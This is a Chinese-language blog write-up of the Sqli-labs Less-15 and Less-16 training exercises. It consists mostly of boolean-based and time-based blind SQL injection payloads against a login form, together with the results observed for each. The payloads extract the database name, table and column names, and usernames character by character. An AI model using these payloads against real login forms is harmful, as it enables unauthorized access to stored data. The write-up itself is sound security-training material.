Sqli-labs 实验笔记之Less-15&Less-16

零、前言

这两节课是盲注,Less-15是布尔盲注,Less-16是时间盲注。之前已在mysql命令行中练习过盲注的语句,这里直接到前端进行注入测试,不在去测试sql语句,有些之前的语句甚至可以直接拿过来用。这也是在告诉我们注入与数据传输方式无关,它是一种数据库的攻击手段。

一、Less-15测试

通过前端测试,没有返回错误信息,只能使用盲注,使用or 语句登陆

uname=1' or 1=1#&passwd=&submit=Submit

登录成功,说明后台Sql语句为

Select * from table where username=’username’ and password=’password’

接下来构造注入语句进行数据库攻击,每种攻击类型只以获取首字母为例

1、构造注入语句,猜测当前数据库库名

uname=1' or (select ascii(substr(database(),1,1)) > 100)#&passwd=&submit=Submit

返回正确

uname=1' or (select ascii(substr(database(),1,1)) > 110)#&passwd=&submit=Submit

返回正确

uname=1' or (select ascii(substr(database(),1,1)) > 120)#&passwd=&submit=Submit

返回错误,说明数据库名的第一个字符的ascii码范围是110<=ascii<120

uname=1' or (select ascii(substr(database(),1,1)) > 115)#&passwd=&submit=Submit

返回错误,说明数据库名的第一个字符的ascii码范围是110<=ascii<=115

uname=1' or (select ascii(substr(database(),1,1)) > 113)#&passwd=&submit=Submit

返回错误,说明数据库名的第一个字符的ascii码范围是113ascii<=115

uname=1' or (select ascii(substr(database(),1,1)) = 114)#&passwd=&submit=Submit

返回错误,说明数据库名的第一个字符的ascii码不是114

uname=1' or (select ascii(substr(database(),1,1)) = 115)#&passwd=&submit=Submit

返回正确,说明数据库名的第一个字符的ascii码是115,115对应的字母为’s’,与当前数据库的名匹配

2、构造注入语句,测测当前数据库的表名

uname=1' or (select ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) > 100)#&passwd=&submit=Submit

返回正确

uname=1' or (select ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) > 110)#&passwd=&submit=Submit

返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码的范围是

100<ascii<=110

uname=1' or (select ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) > 105)#&passwd=&submit=Submit

返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码的范围是

100<ascii<=105

uname=1' or (select ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) > 102)#&passwd=&submit=Submit

返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码的范围是

100<ascii<=102

uname=1' or (select ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) = 102)#&passwd=&submit=Submit

返回错误,说明当前数据库的第一个数据表的表名的第一个字符的ascii码不是102

uname=1' or (select ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) = 101)#&passwd=&submit=Submit

返回正确,说明当前数据库的第一个数据表的表名的第一个字符的ascii码为101

Ascii101对应的字符为’e’,和数据库中的第一个表名的第一个字符’e’相对应,说明判断正确,以此可以得出其他所有的表名

3、构造语句,得出数据库表中的数据

uname=1' or 1=1 order by 2#&passwd=&submit=Submit

返回正确,说明字段数为2(然而用不到)

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 100)#&passwd=&submit=Submit

返回错误

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 50)#&passwd=&submit=Submit

返回正确,说明users表中的第一个username的第一个字符的ascii码的范围是

50<ascii<=100

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 75)#&passwd=&submit=Submit

返回错误,说明users表中的第一个username的第一个字符的ascii码的范围是

50<ascii<=75

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 60)#&passwd=&submit=Submit

返回正确,说明users表中的第一个username的第一个字符的ascii码的范围是

60<ascii<=75

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 68)#&passwd=&submit=Submit

返回错误,说明users表中的第一个username的第一个字符的ascii码的范围是

60<ascii<=68

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 64)#&passwd=&submit=Submit

返回正确,说明users表中的第一个username的第一个字符的ascii码的范围是

64<ascii<=68

uname=1' or (select ascii(substr((select username from users limit 0,1),1,1)) > 67)#&passwd=&submit=Submit

返回正确,说明users表中的第一个username的第一个字符的ascii码是68

Ascii码68对应的字符为D,与第一个用户名Dump相对应,说明判断正确,依次可以得出其他数据

二、Less-16测试

sql语句测试

uname=123' or (sleep(1)=0)#&passwd=123&submit=Submit  直接返回登录失败界面

uname=123” or (sleep(1)=0)#&passwd=123&submit=Submit  直接返回登录失败界面

uname=123”) or (sleep(1)=0)#&passwd=123&submit=Submit  程序加载一秒后返回正确界面

猜测其Sql语句为:

Select * from table where username=(“inputuser”) and (“inputpass”)

我们把之前练习过得时间盲注语句直接拿过来测试,注入测试的时候发现程序挂起的秒数和sleep的参数并不一致,暂时不知道是什么原因,但不影响时间盲注,以下所有注入只举一例,其他只是测试不同ascii码。

构造注入语句,猜测当前数据库库名

uname=") or (select if(ascii(substr(database(),1,1)) > 100,sleep(1)=0,NULL)) #&passwd=admin&submit=Submit

构造注入语句,猜测当前数据库第一个表名

uname=123") or (select if((ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)) > 100),sleep(1)=0,0)) #&passwd=admin&submit=Submit

构造注入语句,猜测users表第一个字段名

uname=123") or (select if((ascii(substr((select column_name from information_schema.columns where 
table_name='users' limit 0,1),1,1)) > 100),sleep(1)=0,0)) #&passwd=admin&submit=Submit

构造注入语句,猜测users表的数据

uname=123") or (select if((ascii(substr((select username from users limit 0,1),1,1)) > 50),sleep(1)=0,0)) 
#&passwd=admin&submit=Submit

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*